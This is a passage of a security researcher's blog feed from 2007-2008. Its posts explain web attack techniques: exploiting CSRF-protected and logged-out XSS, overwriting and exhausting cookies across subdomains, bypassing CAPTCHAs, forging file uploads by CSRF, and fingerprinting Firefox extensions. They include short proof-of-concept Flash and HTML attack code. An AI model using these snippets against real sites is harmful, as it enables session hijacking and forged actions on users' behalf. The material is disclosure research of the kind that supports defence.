tool/technique/etc, then we have the further benifit of the user still being logged in when our XSS fires.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Other Cookie Tricks&lt;/h2&gt;&lt;br /&gt;As I wrote in my post "Understanding Cookie Security", if we have an XSS which is largely unexploitable (except via pure Session Fixation) since it is on a subdomain with no accounts, we can use it to set almost arbitrary cookies for other subdomains.&lt;br /&gt;&lt;br /&gt;This gives us a perfect avenue, since we can set the path to only over-write cookies for our single CSRF Protected XSS page, and send the appropriate CSRF token and XSS payload for.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Self-Only CSRF Protected Persistent XSS&lt;/h2&gt;&lt;br /&gt;One case which is much simpler to exploit than the general case though, is where there are CSRF protections on the form where you submit the actual XSS, but the XSS is a persistent XSS for the user, in that it is rendered on another page (which is itself not CSRF protected, since it is used to display rather than edit data)&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;CAPTCHAs As CSRF Protections&lt;/h2&gt;&lt;br /&gt;CAPTCHAs are not designed to be CSRF protections, and in certain cases are bypassable.&lt;br /&gt;&lt;br /&gt;There are essentially two (not completely broken) types of CAPTCHA systems I have seen in widespread use, one where the plaintext is simply stored in the server-side session and the captcha is included in a form like this:&lt;br /&gt;&lt;code&gt;&amp;lt;img src=&amp;quot;captcha.php&amp;quot; /&amp;gt;&lt;/code&gt;&lt;br /&gt;The other is when a form has a hidden input tag which contains a value which is also inside the image URL, like so:&lt;br /&gt;&lt;code&gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;captcha_id&amp;quot;  value=&amp;quot;1234567890&amp;quot; /&amp;gt;&lt;br /&gt;&amp;lt;img src=&amp;quot;captcha.php?id=1234567890&amp;quot; /&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;The first system is trivially bypassed for CSRF &amp; CSRF Protected XSS attacks by simply inserting the CAPTCHA onto a page, or inside an iframe (to strip/spoof referers), and asking the user to solve it.&lt;br /&gt;&lt;br /&gt;The second can often be trivially bypassed for CSRF &amp; CSRF Protected XSS attacks since the id is usually not user-dependant and the CAPTCHA does not keep track of what id it sent the user. Therefore the attacker can simply retrieve the appropriate CAPTCHA, solve it, and put the answer along with the corresponding captcha id in the csrf or csrf protected xss attack.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;br /&gt;So essentially if we can somehow trick the application into using an attacker's session identifier, either by altering the cookie (e.g. via subdomain tricks, Flash, injecting into Set-Cookie headers, or whatever other trick we can come up with), or by suppressing or deleting the cookie and passing the identifier through another means such as the URL, then all CSRF protected XSSs are exploitable.&lt;br /&gt;&lt;br /&gt;However if we cannot, then we can still exploit some scenarios such as self-only CSRF protected persistent XSS if the logout/login functionality is not CSRF-protected (which very few are). And we can also bypass the semi-CSRF protection of CAPTCHAs in several cases.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-6474466993364015492?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/6474466993364015492/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=6474466993364015492' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6474466993364015492'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6474466993364015492'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2008/02/exploiting-csrf-protected-xss.html' title='Exploiting CSRF Protected XSS'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-7245625830768013056</id><published>2008-02-22T13:08:00.006+11:00</published><updated>2008-02-22T13:19:42.661+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='HTTP'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Exploiting Logged Out XSS Vulnerabilities</title><content type='html'>Usually when we consider vulnerabilities which are only rendered when a user is logged out (e.g. a side bar which renders a vulnerable login form when logged out, and a menu otherwise), the known methods of attack lie in, first getting the user logged out, and then doing one of the following:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;  &lt;li&gt;Extracting login information from the Password Manager&lt;/li&gt;&lt;br /&gt;  &lt;li&gt;Modifying a client-side data store, such as cookies or Flash LSO's to create an attack which fires later when a user is logged in&lt;/li&gt;&lt;br /&gt;  &lt;li&gt;Conducting a Session Fixation attack&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Some new possibilities for attacking these vulnerabilities are:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;  &lt;li&gt;Reading the Browser Cache via XSS&lt;/li&gt;&lt;br /&gt;  &lt;li&gt;Semi-Logging the User Out&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Reading the Browser Cache via XSS&lt;/h2&gt;&lt;br /&gt;Most browsers do not let you read pages which have not been explicitly cached, and where the Expires or Cache-Control headers have not been set, except Internet Explorer.&lt;br /&gt;&lt;br /&gt;If you use the XmlHttpRequest object to make a request to a resource which has no caching information attached to it you will simply get back the cached copy which may contain sensitive information such as the person's billing details, or other juicy information you an use in other exploits.&lt;br /&gt;&lt;br /&gt;But since security people have been parroting on about how websites need to make sure that they don't let the browser cache something because the user may be using a public computer, etc, etc, this is much less viable, however at least we now have a real reason for recommending people to not let the browser cache things.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Semi-Logging the User Out&lt;/h2&gt;&lt;br /&gt;However before we jump to the conclusion that the vulnerability is only triggered when the user is logged out let us consider what it really means to be "logged in".&lt;br /&gt;&lt;br /&gt;To be "logged in" is to send the web application a cookie header which gets parsed by the server/web application framework (e.g. Apache/PHP), and the parsed value is associated by the application with a valid session.&lt;br /&gt;&lt;br /&gt;So conversely, when are you "logged out"? You're logged out whenever the above series of events (plus any other steps I missed) don't fall exactly into place.&lt;br /&gt;&lt;br /&gt;So if we start with a user who is currently logged in; instead of logging them out completely via CSRF (or just waiting until they log themselves out), the trick here is to create an exploit which fires when the browser still holds the users cookies, but the application doesn't receive those cookies exactly.&lt;br /&gt;&lt;br /&gt;The easiest and most generic place (I found) to attack this chain is to alter what the browser sends, and therefore the server receives.&lt;br /&gt;&lt;br /&gt;Until the latest version of Flash (which is 9,0,115,0), the following code ran properly and let us tamper with the Cookie header:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;class Attack { &lt;br /&gt; static function main(mc) {&lt;br /&gt;  var req:LoadVars = new LoadVars();&lt;br /&gt;  req.addRequestHeader("Cookie", "PHPSESSID=junk");&lt;br /&gt;  req.x = "y";&lt;br /&gt;  req.send("http://site.com/page.php?variable=&lt;xss&gt;",&lt;br /&gt;  "_self", "POST");&lt;br /&gt;  // Note: The method must be POST, and must contain&lt;br /&gt;  // POST data, otherwise headers don't get attached&lt;br /&gt; }&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Unfortunately this does not work in IE, since IE seems to stop plugins from playing with the Cookie headers it sends.&lt;br /&gt;&lt;br /&gt;Furthermore, this does not actually replace the Cookie header which the browser sends, rather it forces the browser to send an additional Cookie header which would make the relevant part of the HTTP request look something like to this:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Cookie: PHPSESSID=valid_id&lt;br /&gt;Cookie: PHPSESSID=junk&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Which PHP (and pretty much every other Server/web application framework) would reconcile into the single PHPSESSID value of:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;valid_id, PHPSESSID=junk&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Which is of course not a valid session token, and the application treats the user as logged out, and our XSS executes as if the user was logged out, however since the browser still has all the cookies, so we can either steal them or get the user to perform actions on our behalf, etc.&lt;br /&gt;&lt;br /&gt;The less generic, but still working approach is to overwrite overwrite the cookies for your particular path only, either via an XSS from a related subdomain or by abusing a cross-site cookie bug in a browser (check my last post).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-7245625830768013056?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/7245625830768013056/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=7245625830768013056' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/7245625830768013056'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/7245625830768013056'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2008/02/exploiting-logged-out-xss.html' title='Exploiting Logged Out XSS Vulnerabilities'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-1863497989971540833</id><published>2008-02-22T13:08:00.005+11:00</published><updated>2008-02-22T13:19:04.149+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HTTP'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Understanding Cookie Security</title><content type='html'>Whenever anyone decides to talk about XSS, one thing which is sure to pop up is the Same Origin Policy which XSS avoids by being reflected by the server. The Same Origin Policy is the security restriction which make sure that any pages trying to communicate via JavaScript are on the same protocol, domain and port. However this is misleading since it is not the weakest link that browsers have between domains.&lt;br /&gt;&lt;br /&gt;The weakest link across domains is (for lack of a better term) the cookie policy which determines which domains can set cookies for which domains and which cookies each domain receives.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;What's in a cookie&lt;/h2&gt;&lt;br /&gt;The cookies we use have several fields, including these ones I want to talk about:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt; &lt;li&gt;Name&lt;/li&gt;&lt;br /&gt; &lt;li&gt;Value&lt;/li&gt;&lt;br /&gt; &lt;li&gt;Domain&lt;/li&gt;&lt;br /&gt; &lt;li&gt;Path&lt;/li&gt;&lt;br /&gt; &lt;li&gt;Expires&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;First, it must be noticed that the protocol restriction which is explicit in the Same Origin policy is here implicit, since cookies are an extension to HTTP, and so would only be sent for http, however the distinction between http and https is only enforced if the Secure flag is set.&lt;br /&gt;&lt;br /&gt;Secondly, unlike the same origin policy, the cookie policy has no restrictions on ports, explicit or implicit.&lt;br /&gt;&lt;br /&gt;And furthermore the domain check is not exact. From RFC 2109:&lt;br /&gt;&lt;pre&gt;   Hosts names can be specified either as an IP address or a FQHN&lt;br /&gt;  string.  Sometimes we compare one host name with another.  Host A's&lt;br /&gt;  name domain-matches host B's if&lt;br /&gt;&lt;br /&gt;  * both host names are IP addresses and their host name strings match&lt;br /&gt;    exactly; or&lt;br /&gt;&lt;br /&gt;  * both host names are FQDN strings and their host name strings match&lt;br /&gt;    exactly; or&lt;br /&gt;&lt;br /&gt;  * A is a FQDN string and has the form NB, where N is a non-empty name&lt;br /&gt;    string, B has the form .B', and B' is a FQDN string.  (So, x.y.com&lt;br /&gt;    domain-matches .y.com but not y.com.)&lt;br /&gt;&lt;br /&gt;  Note that domain-match is not a commutative operation: a.b.c.com&lt;br /&gt;  domain-matches .c.com, but not the reverse.&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Effectively, this means that that any subdomains of a given domain can set, and is sent the cookies for that domain, i.e. news.google.com can set, and is sent the cookies for .google.com. Furthermore a second subdomain, e.g. mail.google.com can also set, and is sent the cookies for .google.com - This effectively means that by setting a cookie for google.com, news.google.com can force the user's browser to send a cookie to mail.google.com.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Resolving Conflicts&lt;/h2&gt;&lt;br /&gt;But what if two cookies of the same name should be sent to a given page, e.g. if there is a cookie called "user" set for mail.google.com and .google.com with different values, how does the browser decide which one to send?&lt;br /&gt;&lt;br /&gt;RFC 2109 states that the cookie with the more specific path attribute must be sent first, however it does not define how to deal with two cookies which have the same path (e.g. /) but different domains. If such a conflict occurs then most (all?) browsers simply send the older cookie first.&lt;br /&gt;&lt;br /&gt;This means that if we want to overwrite a cookie on mail.google.com from the subdomain news.google.com, and the cookie already exists, then we cannot over-write a cookie with the path value of / (or whatever the path value of the existing cookie is), but we can override it for every other path (up to the maximum number of cookies allowed per host; 50 in IE/Firefox 30 in Opera), i.e. if we pick 50 (or 30 if we want to target opera) paths on mail.google.com which encompass the directories and pages we want to overwrite the cookie for, we can simply set 50 /30 separate cookies which are all more specific than the existing cookie.&lt;br /&gt;&lt;br /&gt;Technically the spec say that a.b.c.d cannot set a cookie for a.b.c.d or b.c.d only, none of the browsers enforce this since it breaks sites. Also, sites should not be able to set a cookie with a path attribute which would not apply to the current page, but since path boundaries are non-existant in browsers, no-one enforces this restriction either.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Cross-Site Cooking&lt;/h2&gt;&lt;br /&gt;When you think about the problem in the above scenario, you end up asking; can I use the same technique to send a cookie from news.com to mail.com? Or some similar scenario where you are going from one privately owned domain to another in a public registry. The RFC spec did foresee this to some degree and came up with the "one dot rule", i.e. that you can't set a cookie for a domain which does not have an embedded dot, e.g. you cannot set a cookie for .com or .net, etc.&lt;br /&gt;&lt;br /&gt;What the spec did not foresee is the creation of public registries such as co.uk which do contain an embedded dot. And this is where the fun begins, since there is no easy solution for this, and the RFC has no standard solution, all the browsers pretty much did their own thing.&lt;br /&gt;&lt;br /&gt;IE has the least interesting and most restrictive system; you cannot set a cookie for a two letter domain of the form ab.xy or (com|net|org|gov|edu).xy. &lt;a href="http://support.microsoft.com/kb/310676"&gt;Supposedly&lt;/a&gt; there is a key in the registry at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\SpecialDomains which will let you whitelist a domain to allow ab.xy to be set and my registry has the value "lp. rg." for that key, but I haven't been able to set a cookie for ab.pl or ab.rg so go figure.&lt;br /&gt;&lt;br /&gt;Opera on the other hand has perhaps the most interesting system of all the browser vendors. Opera does a DNS lookup on the domain you are trying to set a cookie for, and if it finds an A record (i.e. the domain has an IP address associated with it) then you can set a cookie for it. So if ab.xy resolves to an IP then you can set a cookie for it, however this breaks if the TLD resolves, as is the case for co.tv&lt;br /&gt;&lt;br /&gt;Firefox 2 seems to have no protections. I was unable to find any protections in the source and was able to get foobar.co.uk to set cookies for .co.uk, so ummm, why does no-one ever mention this? I have no clue....&lt;br /&gt;&lt;br /&gt;Firefox 3 on the other hand has a huge list of all the domains for which you cannot set cookies, which you can view online &lt;a href="http://mxr.mozilla.org/firefox/source/netwerk/dns/src/effective_tld_names.dat"&gt;here&lt;/a&gt;. Hurray for blacklists.....&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Exhausting Cookie Limits&lt;/h2&gt;&lt;br /&gt;Another interesting aspect of cookies is that there is a limit on how many cookies can be stored, not only per host, but in total, at least in Firefox and Opera. IE doesn't seem to have such a restriction.&lt;br /&gt;&lt;br /&gt;In Firefox the global limit is 1000 cookies with 50 per host (1.evil.com and 2.evil.com are different hosts), and on Opera it is 65536 cookies with 30 per host. IE does not seem to have a global limit but does have a host limit of 50 cookies. When you reach the global limit, both browsers go with the RFC recommendation and start deleting cookies.&lt;br /&gt;&lt;br /&gt;Both Firefox and Opera simply choose to delete the oldest cookies, and so by setting either 1000 or 65536 cookies depending on the browser, you effectively clear the user's cookie of anything another domain has set.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;br /&gt;By either setting the path attribute to point to more specific pages we can effectively overwrite cookies from other domains that we can set cookies for, which includes all the co.xy domains. Also, if we are attacking Firefox or Opera we can simply delete the existing cookies if we need to force our cookie to be sent to a path for which a cookie is already set (e.g. /).&lt;br /&gt;&lt;br /&gt;You may also be able to induce some weird states, if you somehow manage to only delete one cookie where an applicaiton expects two, or similar, but I doubt that would be very exploitable.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-1863497989971540833?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/1863497989971540833/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=1863497989971540833' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1863497989971540833'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1863497989971540833'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2008/02/understanding-cookie-security.html' title='Understanding Cookie Security'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-1252148281498260578</id><published>2008-02-22T12:49:00.003+11:00</published><updated>2008-02-22T12:55:49.989+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HTTP'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><title type='text'>CSRF-ing File Upload Fields</title><content type='html'>It seems I'm destined to have everything I sit on for a while patched or found and disclosed by someone else, *sigh*, I guess that's the way things go though.&lt;br /&gt;&lt;br /&gt;Oh well, pdp has an interesting post over at gnucitizen.org about how to perform CSRF attacks against File upload fields using Flash: &lt;a href="http://www.gnucitizen.org/blog/cross-site-file-upload-attacks/"&gt;http://www.gnucitizen.org/blog/cross-site-file-upload-attacks/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Since there would be no point publishing this later, here is the method I came up with a while ago to CSRF File upload fields&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;form method="post" action="http://kuza55.awardspace.com/files.php" enctype="multipart/form-data"&amp;gt;&lt;br /&gt;&amp;lt;textarea name='file"; filename="filename.ext&lt;br /&gt;Content-Type: text/plain; '&amp;gt;Arbitrary File&lt;br /&gt;Contents&amp;lt;/textarea&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" value='Send "File"' /&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;It relies on a bug in Firefox/IE/Safari where the filenames are not escaped before being put into the POST body to set the filename parameter and content-type header.&lt;br /&gt;&lt;br /&gt;Note: http://kuza55.awardspace.com/files.php is probably vulnerable to a tonne of things; I'm not too worried as it's on free hosting.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-1252148281498260578?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/1252148281498260578/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=1252148281498260578' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1252148281498260578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1252148281498260578'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2008/02/csrf-ing-file-upload-fields.html' title='CSRF-ing File Upload Fields'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-6255367473512130107</id><published>2008-01-19T16:03:00.000+11:00</published><updated>2008-01-19T16:49:25.065+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Conferences'/><category scheme='http://www.blogger.com/atom/ns#' term='General Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>24c3 Presentation and Research</title><content type='html'>I did a presentation entitled &lt;a href="http://events.ccc.de/congress/2007/Fahrplan/events/2212.en.html"&gt;Unusual Web Bugs&lt;/a&gt; at &lt;a href="http://events.ccc.de/congress/2007/Main_Page"&gt;24c3&lt;/a&gt; a few weeks ago, for which you can find slides and video for on the first link.&lt;br /&gt;&lt;br /&gt;However, since some of the things I presented were some of my own research which I haven't posted anywhere, I'll write a couple of posts about that in the next couple of days. There isn't too much though, so there's no need to get your hopes up, and if you've seen the video, you already know it.&lt;br /&gt;&lt;br /&gt;[EDIT]P.S. Any comments or criticisms about the presentation would be greatly appreciated[/EDIT]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-6255367473512130107?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/6255367473512130107/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=6255367473512130107' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6255367473512130107'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6255367473512130107'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2008/01/24c3-presentation-and-research.html' title='24c3 Presentation and Research'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-5550362704723592439</id><published>2007-10-12T13:49:00.000+10:00</published><updated>2007-10-14T14:00:43.636+10:00</updated><title type='text'>Detecting Firefox Extensions Without Javascript</title><content type='html'>ascii recently posted a piece on detecting whether Javascript execution is disabled due to it being disabled through Firefox or through NoScript, by abusing NoScript's redirection code here: &lt;a href="http://www.ush.it/2007/10/11/detect-noscript-poc/"&gt;http://www.ush.it/2007/10/11/detect-noscript-poc/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Which got me thinking about how else we could determine this - and though I haven't come up with that, I've come up with a method to detect Firefox extensions without Javascript. It may not work on all extensions, but it works with NoScript, and should work with any extension which has a CSS file in chrome with a single valid definition.&lt;br /&gt;&lt;br /&gt;If we take a look at how Firefox resolves conflicts between duplicate definitions for the same class (and probably for the same id) then we notice that Firefox simply uses the latter definition.&lt;br /&gt;&lt;br /&gt;Knowing this we can construct a page which looks like this:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;style&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;.noscript-error {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;background-image: url(no.php)&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;lt;/style&amp;gt;&lt;br /&gt;&amp;lt;style&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;@import url(chrome://noscript/skin/browser.css);&lt;br /&gt;&amp;lt;/style&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;lt;div class="noscript-error"&amp;gt;If noscript is NOT installed (and enabled as an extension) then Firefox will make a request for no.php, otherwise it won't.&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Whereby we simply have to have no.php set something in the session to say that the user does not have NoScript installed.&lt;br /&gt;&lt;br /&gt;Note: Thanks to thornmaker for pointing out that no.php will also be requested by other browsers, so you probably want to do this only after you have determined the browser being used.&lt;br /&gt;&lt;br /&gt;Also, ascii/sirdarckcat came up with another method for detecting when NoScript is installed, which does positive detection (i.e. youget a response when it is installed, rather than this negative detection), but I'll let them write about that.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-5550362704723592439?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/5550362704723592439/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=5550362704723592439' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/5550362704723592439'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/5550362704723592439'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/10/detecting-firefox-extension-without.html' title='Detecting Firefox Extensions Without Javascript'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-1253716641868316663</id><published>2007-07-19T16:49:00.000+10:00</published><updated>2007-07-21T10:08:01.429+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>Firefox gets httpOnly!</title><content type='html'>I don't usually report on things here, but since no-one else seems to be saying something, I thought I should.&lt;br /&gt;&lt;br /&gt;Anyway, Firefox has finally implemented httpOnly cookies, in 2.0.0.5, as you can see from their &lt;a href="http://forums.mozillazine.org/viewtopic.php?p=2965188"&gt;patch notes&lt;/a&gt;, and the following test case: &lt;a href="http://kuza55.awardspace.com/httponly.php"&gt;http://kuza55.awardspace.com/httponly.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Note: If httpOnly cookies is implemented, the alert box should be blank, if it is not implemented you should see an alert which says hidden=value&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;header("Set-Cookie: hidden=value; httpOnly");&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;alert(document.cookie);&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;So hurrah for the Firefox developers who made this happen, no matter how long it took.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-1253716641868316663?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/1253716641868316663/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=1253716641868316663' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1253716641868316663'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1253716641868316663'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/07/firefox-gets-httponly.html' title='Firefox gets httpOnly!'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-1311278612076784649</id><published>2007-07-11T17:32:00.000+10:00</published><updated>2007-07-16T19:34:14.482+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HTTP'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Exploiting reflected XSS vulnerabilities, where user input must come through HTTP Request Headers</title><content type='html'>&lt;h2&gt;Contents:&lt;/h2&gt;&lt;br /&gt;1.0 Introduction&lt;br /&gt;2.0 The User_Agent Header&lt;br /&gt;3.0 (Known) Firefox &amp; Safari Request Header Injection (Sometimes)&lt;br /&gt;4.0 Attacking Caching Proxies&lt;br 